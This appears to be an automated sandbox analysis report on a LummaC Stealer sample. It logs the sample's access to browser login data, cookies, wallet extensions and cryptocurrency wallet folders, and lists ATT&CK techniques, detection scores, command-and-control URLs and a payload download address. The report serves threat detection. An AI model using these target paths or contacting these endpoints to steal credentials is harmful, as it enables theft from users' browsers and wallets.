Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe

Directory queried: number of queries: 1001

Source: Yara match	File source: 00000003.00000002.1661413975.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1557665827.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 1C22.tmp.exe PID: 7696, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 1C22.tmp.exe PID: 7696, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_004218CC Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::InternalContextBase::SwitchOut,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::InternalContextBase::SwitchTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,	0_2_004218CC
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_00420BF6 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::GetInternalContext,	0_2_00420BF6
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_00691B33 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::InternalContextBase::SwitchOut,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::InternalContextBase::SwitchTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,	0_2_00691B33
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_00690E5D Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::GetInternalContext,	0_2_00690E5D

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Native API	Boot or Logon Initialization Scripts	11 Process Injection	4 Obfuscated Files or Information	LSASS Memory	22 File and Directory Discovery	Remote Desktop Protocol	31 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	22 Software Packing	Security Account Manager	44 System Information Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	31 Security Software Discovery	Distributed Component Object Model	3 Clipboard Data	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	1 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Process Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
xCnwCctDWC.exe	38%	Virustotal		Browse
xCnwCctDWC.exe	61%	ReversingLabs	Win32.Trojan.CrypterX
xCnwCctDWC.exe	100%	Avira	HEUR/AGEN.1312580
xCnwCctDWC.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\ScreenUpdateSync[1].exe	100%	Avira	HEUR/AGEN.1306978
C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	100%	Avira	HEUR/AGEN.1306978
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\ScreenUpdateSync[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	100%	Joe Sandbox ML

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://post-to-me.com/track_prt.php?sub=0&cc=DE6	100%	Avira URL Cloud	malware
http://176.113.115.19/ScreenUpdateSync.exe:#)o	0%	Avira URL Cloud	safe
https://skidjazzyric.click/api	100%	Avira URL Cloud	malware
skidjazzyric.click	100%	Avira URL Cloud	malware
http://176.113.115.19/ScreenUpdateSync.exe1#.o	0%	Avira URL Cloud	safe
https://skidjazzyric.click/d	100%	Avira URL Cloud	malware
https://skidjazzyric.click/	100%	Avira URL Cloud	malware
http://176.113.115.19/ScreenUpdateSync.exeX	0%	Avira URL Cloud	safe
https://post-to-me.com/track_prt.php?sub=	100%	Avira URL Cloud	malware
http://176.113.115.19/ScreenUpdateSync.exeH	0%	Avira URL Cloud	safe
https://skidjazzyric.click/(1	100%	Avira URL Cloud	malware
https://skidjazzyric.click/api5	100%	Avira URL Cloud	malware
https://post-to-me.com/track_prt.php?sub=0&cc=DE	100%	Avira URL Cloud	malware
https://post-to-me.com/s	100%	Avira URL Cloud	malware
https://post-to-me.com/t	100%	Avira URL Cloud	malware
http://176.113.115.19/	0%	Avira URL Cloud	safe
http://176.113.115.19/ScreenUpdateSync.exe$#;o	0%	Avira URL Cloud	safe
https://skidjazzyric.click:443/api	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
post-to-me.com	104.21.56.70	true	false		high
skidjazzyric.click	104.21.112.1	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
robinsharez.shop	false		high
versersleep.shop	false		high
https://skidjazzyric.click/api	true	Avira URL Cloud: malware	unknown
